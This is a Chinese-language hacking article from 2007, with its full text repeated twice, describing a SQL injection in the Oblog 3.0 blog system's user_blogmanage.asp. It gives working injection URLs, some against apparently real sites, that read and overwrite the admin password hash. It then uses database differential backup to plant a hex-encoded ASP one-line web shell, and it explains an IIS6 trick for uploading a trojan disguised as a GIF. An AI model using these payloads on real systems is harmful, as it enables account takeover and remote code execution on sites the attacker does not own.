Oblog3.0漏洞曝光
更新時間:2007年01月16日 00:00:00 作者:
看過第六輪黑防實驗室的兩位大俠對Oblog3.0 Access版本的滲透過程,敬佩之情猶如滔滔江水連綿不絕,又如黃河之水一發(fā)而不可收拾,尤其是他們把社會工程學(xué)原理利用得淋漓盡致,以及巧妙的后臺上傳shell的方法。佩服,佩服。說了這么多廢話,我們進入正題,本人在通讀Oblog3.0代碼的時候發(fā)現(xiàn)user_blogmanage.asp文件存在安全隱患,看看下面移動blog日志的操作代碼:
sub moveblog()
if id="" then
Oblog.adderrstr("請指定要移動的日志")
Oblog.showusererr
exit sub
end if
dim subjectid
subjectid=trim(request("subject"))
if subjectid="" then
Oblog.adderrstr("請指定要移動的目標(biāo)專題")
Oblog.showusererr
exit sub
else
subjectid=Clng(subjectid)
end if
if instr(id,",")>0 then
‘如果id變量中含有逗號,去掉變量中的空格,執(zhí)行下面的sql語句。設(shè)為第一條
id=replace(id," ","")
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid in (" & id & ")"&wsql
‘否則執(zhí)行這個sql語句,設(shè)為第二條。
else
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid=" & id &wsql
end if
Oblog.Execute sql
dim blog,rs1
set blog=new class_blog
blog.userid=Oblog.logined_uid
blog.update_allsubjectid()
blog.update_index_subject 0,0,0,""
set blog=nothing
set rs=Oblog.execute("select subjectid from Oblog_subject where userid="&Oblog.logined_uid)
while not rs.eof
set rs1=Oblog.execute("select count(logid) from Oblog_log where Oblog_log.subjectid="&rs(0))
Oblog.execute("update Oblog_subject set subjectlognum="&rs1(0)&" where Oblog_subject.subjectid="&rs(0))
rs.movenext
wend
set rs=nothing
set rs1=nothing
Oblog.showok "更新專題成功,需要重新發(fā)布首頁,才可使專題統(tǒng)計準(zhǔn)確!",""
end sub
再看看文件最上面對id變量的過濾:id=Oblog.filt_badstr(trim(Request("id"))),只用了這條語句,函數(shù)代碼如下:
public function filt_badstr(str)
If Isnull(Str) Then
filt_badstr = ""
Exit Function
End If
Str = Replace(Str,Chr(0),"")
filt_badstr = Replace(Str,"'","''")
end function
只去掉了\0和單引號,呵呵,這怎能阻止我們的注入攻擊呢,找個使用Oblog3.0 SQL版本的站點牛刀小試一下:構(gòu)造環(huán)境測試語句:http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=@@version)--,一定要注意語句最后面的”'”,否則不會成功的。
以上注入我們選擇的是第一條語句,多了限制條件,就是不能使用空格且提交的語句中要含有逗號。我們可以使用/**/來代替空格。由于限制條件多,以下測試中我們控制程序執(zhí)行第二條語句。進一步環(huán)境刺探:
http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_name()>0--
http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_user>0--。
嘿嘿,測試成功,由于注入語句中不能包含單引號,身經(jīng)百戰(zhàn)的我們當(dāng)然很容易饒過這條限制,我喜歡使用SQL中的char函數(shù)饒過,正好手頭有研究動易系統(tǒng)時寫的char編碼工具,先看看Oblog數(shù)據(jù)庫的表結(jié)構(gòu),在Oblog_admin表中我們感興趣的只有id,username和password字段,先暴出admin用戶或者id唯一的管理員賬號的密碼來瞧瞧:
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where id=1)--或者
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where username=char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e))--
其中char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e)是對提交的admin使用char函數(shù)的編碼。返回結(jié)果。
我們先記下這個加密的字符串,在恢復(fù)管理員密碼的時候需要再次使用。修改后臺管理員的密碼:
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1;update [Oblog_admin] set password= char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)%2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63)%2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38) where id=1--
其中的char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)%2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63)%2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38)是469e80d32c0559f8字符串的編碼,469e80d32c0559f8對應(yīng)的md5明文為admin888,對字符串的編碼可以使用如下的工具。
當(dāng)然大家也一定都有比著更好的工具。這樣我們就將后臺id為1的管理員的密碼修改為admin888了,注意id為1的管理員對應(yīng)的賬號默認(rèn)為admin如果你不確定,可以使用如下的語句查看:
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select username from Oblog_admin where id=1)—
修改完畢,登錄一下后臺看看是否成功修改管理員密碼。good,我們已經(jīng)拿到了后臺管理權(quán)限了,爽哉。不要高興的太早了,雖然我們進入了后臺但是SQL版本不同于Access版本,前期兩位大俠介紹的通過備份數(shù)據(jù)庫獲取WebShell的方法在SQL版本上是行不通的,看看admin_database.asp的如下代碼大家就明白了:
dim dbpath
dim ObjInstalled
if not IsObject(conn) then link_database
if is_sqldata=0 then dbpath=server.mappath(db)
如果使用的是Access版本才初始化dbpath參數(shù)的。
在這里我給大家介紹幾種SQL版本獲取WebShell的方法。
先說說第一種比較通用的方法吧,利用SQL SERVER的特性,方法有通過xp_cmdshell,利用OLE對象接口,利用sp_makeWebtask,通過增量備份等等的方法。利用這些方法的一個必要的條件:Web物理路徑我們可以從后臺的管理首頁中輕松獲取。關(guān)于具體注入語句大家可以參看uploadshell.exe中的相關(guān)代碼。在實現(xiàn)中注意處理掉其中的單引號。程序可以自動獲取IE中的cookie信息。故無須填寫cookie信息。
關(guān)于利用后臺功能上傳shell,確實把我難為了半天,想得頭都大了,剛開始方法是天使娃娃他們的想法是一樣的添加個shtm上傳文件類型,將conn.asp包含進去,這樣只能看到數(shù)據(jù)庫連接信息,如果對方裝有防火墻或者權(quán)限不很高的話也不能獲取shell,后來就想出添加aaspsp/和asp/上傳文件類型,這樣通過修改數(shù)據(jù)包提示上傳成功,但是卻沒有真的上傳成功了,很是郁悶。假期期間,也沒有那么多時間去查找原因了,這時候忽然看到了在后臺可以設(shè)置用戶目錄的,這時候突然記得網(wǎng)上曾經(jīng)流傳著對于windows2003系統(tǒng)和IIS6.0假設(shè)的Web平臺有個特性,就是**.asp虛擬目錄下的任何擴展名的文件都會被作為asp文件被解釋執(zhí)行的,想到這里差點興奮的跳起來,嘿嘿。請看操作:在后臺常規(guī)設(shè)置|用戶目錄管理中新建一個**.asp的目錄。并將這個目錄設(shè)置成為默認(rèn)的目錄,如上圖所示。然后到網(wǎng)站去注冊一個新的用戶,然后進入管理中心,選擇相冊,上傳一個asp木馬的假gif文件。這樣當(dāng)我們訪問這個gif文件的時候IIS會將此文件作為asp文件解析,我在本機使用Access版本做了測試發(fā)現(xiàn)能夠把文件上傳上去。但是在對SQL版本測試時發(fā)現(xiàn)并不能正確上傳文件到這個目錄的,出現(xiàn)如下的錯誤信息:
ADODB.Stream 錯誤 '800a0bbc'
寫入文件失敗。
/inc/Upload.inc,行 312
雖然不能成功,但這卻是我們后臺上傳木馬的好方法,因為大部分asp整站程序在后臺都允許后臺修改上傳目錄的,比如動易系統(tǒng)等。沒辦法,我們只能使用第一種方法了,開工。
第一步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare @s nvarchar(4000);select @a=db_name();select @s=0x77006F006B0061006F002E00620061006B00;backup database @a to disk=@s--
注意了,在語句中一定不能含有單引號的,
第二步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;create table [dbo].[llikz] ([cmd] [image])—
第三步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;insert into llikz(cmd) values(0x3C25657865637574652872657175657374282261222929253E)—
注意其中0x3C25657865637574652872657175657374282261222929253E為
第四步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare
@a sysname;declare @s nvarchar(4000) select @a=db_name();select @s=0x66003a005c0062006c006f00670032003000300035005c0062006c006f006700730065
0072007600650072005c006c006c0069006b007a002e00610073007000;backup database
@a to disk=@s WITH DIFFERENTIAL—
其中的0x66003a005c0062006c006f00670032003000300035005c0062006c006f006700730065007
2007600650072005c006c006c0069006b007a002e00610073007000是在后臺得到的Web的物理路徑。
利用增量備份只需要public的權(quán)限,應(yīng)該是OBLOG 3.0 SQL版本拿WebShell的最好方法了。如果你感覺操作很復(fù)雜,那就不需要上傳WebShell了,進后臺把自己的賬號修改為VIP用戶,或者將上傳空間修改為100000000KB,把blog當(dāng)作一個網(wǎng)絡(luò)優(yōu)盤也不錯的,呵呵。由于Oblog在互聯(lián)網(wǎng)上的風(fēng)靡,漏洞危害性很大,大家不要亂搞破壞哦。
sub moveblog()
if id="" then
Oblog.adderrstr("請指定要移動的日志")
Oblog.showusererr
exit sub
end if
dim subjectid
subjectid=trim(request("subject"))
if subjectid="" then
Oblog.adderrstr("請指定要移動的目標(biāo)專題")
Oblog.showusererr
exit sub
else
subjectid=Clng(subjectid)
end if
if instr(id,",")>0 then
‘如果id變量中含有逗號,去掉變量中的空格,執(zhí)行下面的sql語句。設(shè)為第一條
id=replace(id," ","")
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid in (" & id & ")"&wsql
‘否則執(zhí)行這個sql語句,設(shè)為第二條。
else
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid=" & id &wsql
end if
Oblog.Execute sql
dim blog,rs1
set blog=new class_blog
blog.userid=Oblog.logined_uid
blog.update_allsubjectid()
blog.update_index_subject 0,0,0,""
set blog=nothing
set rs=Oblog.execute("select subjectid from Oblog_subject where userid="&Oblog.logined_uid)
while not rs.eof
set rs1=Oblog.execute("select count(logid) from Oblog_log where Oblog_log.subjectid="&rs(0))
Oblog.execute("update Oblog_subject set subjectlognum="&rs1(0)&" where Oblog_subject.subjectid="&rs(0))
rs.movenext
wend
set rs=nothing
set rs1=nothing
Oblog.showok "更新專題成功,需要重新發(fā)布首頁,才可使專題統(tǒng)計準(zhǔn)確!",""
end sub
再看看文件最上面對id變量的過濾:id=Oblog.filt_badstr(trim(Request("id"))),只用了這條語句,函數(shù)代碼如下:
public function filt_badstr(str)
If Isnull(Str) Then
filt_badstr = ""
Exit Function
End If
Str = Replace(Str,Chr(0),"")
filt_badstr = Replace(Str,"'","''")
end function
只去掉了\0和單引號,呵呵,這怎能阻止我們的注入攻擊呢,找個使用Oblog3.0 SQL版本的站點牛刀小試一下:構(gòu)造環(huán)境測試語句:http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=@@version)--,一定要注意語句最后面的”'”,否則不會成功的。
以上注入我們選擇的是第一條語句,多了限制條件,就是不能使用空格且提交的語句中要含有逗號。我們可以使用/**/來代替空格。由于限制條件多,以下測試中我們控制程序執(zhí)行第二條語句。進一步環(huán)境刺探:
http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_name()>0--
http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_user>0--。
嘿嘿,測試成功,由于注入語句中不能包含單引號,身經(jīng)百戰(zhàn)的我們當(dāng)然很容易饒過這條限制,我喜歡使用SQL中的char函數(shù)饒過,正好手頭有研究動易系統(tǒng)時寫的char編碼工具,先看看Oblog數(shù)據(jù)庫的表結(jié)構(gòu),在Oblog_admin表中我們感興趣的只有id,username和password字段,先暴出admin用戶或者id唯一的管理員賬號的密碼來瞧瞧:
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where id=1)--或者
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where username=char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e))--
其中char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e)是對提交的admin使用char函數(shù)的編碼。返回結(jié)果。
我們先記下這個加密的字符串,在恢復(fù)管理員密碼的時候需要再次使用。修改后臺管理員的密碼:
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1;update [Oblog_admin] set password= char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)%2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63)%2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38) where id=1--
其中的char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)%2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63)%2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38)是469e80d32c0559f8字符串的編碼,469e80d32c0559f8對應(yīng)的md5明文為admin888,對字符串的編碼可以使用如下的工具。
當(dāng)然大家也一定都有比著更好的工具。這樣我們就將后臺id為1的管理員的密碼修改為admin888了,注意id為1的管理員對應(yīng)的賬號默認(rèn)為admin如果你不確定,可以使用如下的語句查看:
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select username from Oblog_admin where id=1)—
修改完畢,登錄一下后臺看看是否成功修改管理員密碼。good,我們已經(jīng)拿到了后臺管理權(quán)限了,爽哉。不要高興的太早了,雖然我們進入了后臺但是SQL版本不同于Access版本,前期兩位大俠介紹的通過備份數(shù)據(jù)庫獲取WebShell的方法在SQL版本上是行不通的,看看admin_database.asp的如下代碼大家就明白了:
dim dbpath
dim ObjInstalled
if not IsObject(conn) then link_database
if is_sqldata=0 then dbpath=server.mappath(db)
如果使用的是Access版本才初始化dbpath參數(shù)的。
在這里我給大家介紹幾種SQL版本獲取WebShell的方法。
先說說第一種比較通用的方法吧,利用SQL SERVER的特性,方法有通過xp_cmdshell,利用OLE對象接口,利用sp_makeWebtask,通過增量備份等等的方法。利用這些方法的一個必要的條件:Web物理路徑我們可以從后臺的管理首頁中輕松獲取。關(guān)于具體注入語句大家可以參看uploadshell.exe中的相關(guān)代碼。在實現(xiàn)中注意處理掉其中的單引號。程序可以自動獲取IE中的cookie信息。故無須填寫cookie信息。
關(guān)于利用后臺功能上傳shell,確實把我難為了半天,想得頭都大了,剛開始方法是天使娃娃他們的想法是一樣的添加個shtm上傳文件類型,將conn.asp包含進去,這樣只能看到數(shù)據(jù)庫連接信息,如果對方裝有防火墻或者權(quán)限不很高的話也不能獲取shell,后來就想出添加aaspsp/和asp/上傳文件類型,這樣通過修改數(shù)據(jù)包提示上傳成功,但是卻沒有真的上傳成功了,很是郁悶。假期期間,也沒有那么多時間去查找原因了,這時候忽然看到了在后臺可以設(shè)置用戶目錄的,這時候突然記得網(wǎng)上曾經(jīng)流傳著對于windows2003系統(tǒng)和IIS6.0假設(shè)的Web平臺有個特性,就是**.asp虛擬目錄下的任何擴展名的文件都會被作為asp文件被解釋執(zhí)行的,想到這里差點興奮的跳起來,嘿嘿。請看操作:在后臺常規(guī)設(shè)置|用戶目錄管理中新建一個**.asp的目錄。并將這個目錄設(shè)置成為默認(rèn)的目錄,如上圖所示。然后到網(wǎng)站去注冊一個新的用戶,然后進入管理中心,選擇相冊,上傳一個asp木馬的假gif文件。這樣當(dāng)我們訪問這個gif文件的時候IIS會將此文件作為asp文件解析,我在本機使用Access版本做了測試發(fā)現(xiàn)能夠把文件上傳上去。但是在對SQL版本測試時發(fā)現(xiàn)并不能正確上傳文件到這個目錄的,出現(xiàn)如下的錯誤信息:
ADODB.Stream 錯誤 '800a0bbc'
寫入文件失敗。
/inc/Upload.inc,行 312
雖然不能成功,但這卻是我們后臺上傳木馬的好方法,因為大部分asp整站程序在后臺都允許后臺修改上傳目錄的,比如動易系統(tǒng)等。沒辦法,我們只能使用第一種方法了,開工。
第一步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare @s nvarchar(4000);select @a=db_name();select @s=0x77006F006B0061006F002E00620061006B00;backup database @a to disk=@s--
注意了,在語句中一定不能含有單引號的,
第二步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;create table [dbo].[llikz] ([cmd] [image])—
第三步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;insert into llikz(cmd) values(0x3C25657865637574652872657175657374282261222929253E)—
注意其中0x3C25657865637574652872657175657374282261222929253E為
第四步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare
@a sysname;declare @s nvarchar(4000) select @a=db_name();select @s=0x66003a005c0062006c006f00670032003000300035005c0062006c006f006700730065
0072007600650072005c006c006c0069006b007a002e00610073007000;backup database
@a to disk=@s WITH DIFFERENTIAL—
其中的0x66003a005c0062006c006f00670032003000300035005c0062006c006f006700730065007
2007600650072005c006c006c0069006b007a002e00610073007000是在后臺得到的Web的物理路徑。
利用增量備份只需要public的權(quán)限,應(yīng)該是OBLOG 3.0 SQL版本拿WebShell的最好方法了。如果你感覺操作很復(fù)雜,那就不需要上傳WebShell了,進后臺把自己的賬號修改為VIP用戶,或者將上傳空間修改為100000000KB,把blog當(dāng)作一個網(wǎng)絡(luò)優(yōu)盤也不錯的,呵呵。由于Oblog在互聯(lián)網(wǎng)上的風(fēng)靡,漏洞危害性很大,大家不要亂搞破壞哦。